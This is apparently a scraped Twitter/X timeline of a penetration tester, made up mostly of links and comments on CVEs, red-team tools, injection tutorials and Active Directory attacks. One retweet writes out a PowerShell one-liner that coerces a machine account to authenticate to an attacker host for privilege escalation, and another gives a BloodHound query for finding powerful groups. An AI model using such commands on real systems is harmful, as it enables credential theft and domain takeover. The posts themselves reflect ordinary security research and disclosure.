@raphajohnsec

Security Enthusiast | Bitschubser | Pentesting | Python | OSCP | RTO

 Gütersloh, Germany
Joined August 2020
  • Tweets118
  • Following433
  • Followers287
3Media
So MSRC first say that they cannot reproduce ,now say that no security boundary is crossed. Tested this on few different machines and it was successful on all of them. This is bug in GamingServices , non default service so impact is not high. github.com/Wh04m1001/GamingS…
13
108
5
398
98,919
Raphael retweeted
Mayfly@M4yFly11 Jan 2024
Did you know you didn't need to use a potatoes exploit to going from iis apppool account to admin or system ? Simply use: powershell iwr http://192.168.56.1 -UseDefaultCredentials To get an HTTP coerce of the machine account. 👇🧵
8
216
3
764
79,220
DLS 2024 - RedTeam Fails - "Oops my bad I ruined the operation", a story on how to fail a red team assessment 🦖 swisskyrepo.github.io/Drink-…
99
4
251
30,264
A new version of pywerview has been released! The tool can now work against DC with Channel Binding and LDAP Signing. s/o @rouge_cravate github.com/the-useless-one/p… 🌻
pywerview v0.5.1 changelog

ALT pywerview v0.5.1 changelog

37
84
14,355
Raphael retweeted
HackGit@hack_git14 Jun 2023
Traitor Automatic Linux privesc via exploitation of low-hanging fruit e.g. gtfobins, pwnkit, dirty pipe, +w docker.sock github.com/liamg/traitor #infosec #pentesting #redteam
4
99
1
325
76,635
Official confirmation from Microsoft that there is no supported way to rotate nor change DPAPI backup keys! Compromised keys? ➡️ Burn the domain and rebuild a new one 💥
This Post is from an account that no longer exists. Learn more
7
85
7
257
70,080
Computer Account Relaying Vulnerabilities Part 1 praetorian.com/blog/active-d… Part 2 praetorian.com/blog/computer…

Active Directory Computer Account SMB Relaying Attack

This article outlines a unique Active Directory attack vector that arises when a computer account has administrative access to another computer.

praetorian.com
30
85
16,758
wifite2 v2.7.0 released. Supports newest, rewritten hcxdumptool, cOWPatty is working again and allows airodump-ng to exit (running in bg mode). Enjoy 🙂 github.com/kimocoder/wifite2…

Releases · kimocoder/wifite2

Rewrite of the popular wireless network auditor, "wifite" - original by @derv82 - kimocoder/wifite2

github.com
5
47
2
220
30,852
#Fortinet published a patch for CVE-2023-27997, the Remote Code Execution vulnerability @DDXhunter and I reported. This is reachable pre-authentication, on every SSL VPN appliance. Patch your #Fortigate. Details at a later time. #xortigate
25
284
37
685
371,384
Patch Diffing Progress MOVEIt Transfer RCE (CVE-2023-34362) - @assetnote - blog.assetnote.io/2023/06/07…

Patch Diffing Progress MOVEIt Transfer RCE (CVE-2023-34362)

Patch diffing analysis of the MOVEit Transfer SQL injection RCE (CVE-2023-34362) and development of a high-fidelity platform detection.

slcyber.io
3
8
2,255
The critical #Fortinet #CVE-2022-42475 has made quite a buzz, and we’ve documented how you can create an #exploit targeting a single specific FortiGate appliance running a single specific version of FortiOS. bfx.social/3C3gdg8

A More Complete Exploit for Fortinet CVE-2022-42475

Learn about our unique research focused on CVE-2022-42475 and how an exploit can be built to target a single specific FortiGate appliance.

bishopfox.com
1
39
2
75
18,396
3-hour workshop on XML External Entities (XXE) exploitation! - by @h3xstream gosecure.github.io/xxe-works…
50
117
16,270
Blind SQL Injection Made Easy! By the end of this video, you'll have a good understanding of how to find and exploit blind SQL injection vulnerabilities. youtu.be/j-fLh_WNg7k
1
25
110
11,028
Super important update on the #MOVEit Transfer saga -- Progress has released a NEW patch for further attack vectors that we uncovered during our analysis. To note, another CVE will be released and everyone who uses MOVEit is urged to install a new patch. progress.com/security/moveit…
10
126
15
405
102,370
Raphael retweeted
shubs
@infosec_au9 Jun 2023
The @assetnote security research team was successful in reproducing the MOVEit Transfer SQLi->RCE attack vector. We will be releasing the payload in 30 days, but we help bootstrap researchers through our most recent blog post: blog.assetnote.io/2023/06/07…
6
77
1
322
39,834
If anyone is curious on the attack chain with enabling desktop SSO in Azure Active Directory connect from the @TrustedSec webinar yesterday. Here is the blog I wrote on it. Reminder full internal active directory domain compromise isn't the endgame. Pivot to the cloud with Kerberos. #Azure #Cloud trustedsec.com/blog/azure-ad…
1
18
66
12,426
Currently writing a PS script that runs several client checks for when doing system security stuff. No malware or alike, just simple queries as I have to repeat them over and over again. Will be extended on the fly. github.com/LuemmelSec/Pentes…
2
34
101
12,907
"Living Off The Land - Built-In Pwning" #infosec #pentest #redteam labs.lares.com/living-off-th…
14
30
5,550
Are you bored with #LOLDrivers? Scared? Maybe you are a bit ashamed by C++ and Visual Studio...? In all these cases you will enjoy killing protected processes with GMER (a.k.a. Blackout) called from PowerShell.😎 Have fun: github.com/gtworek/PSBits/bl…
3
60
1
191
30,914
Raphael retweeted
n00py@n00py15 Jun 2023
MATCH p = (g1 {objectid: "SID"})-[r1:MemberOf*1..]->(g2:Group)-[r2]->(n) WHERE r2.isacl=true RETURN COUNT(n[.]name), g2[.]name, type(r2) ORDER BY COUNT(n[.]name) DESC Turn "Group Delegated Object Control" graph into a list of the most powerful groups and what they do.
7
26
71
7,080
Load more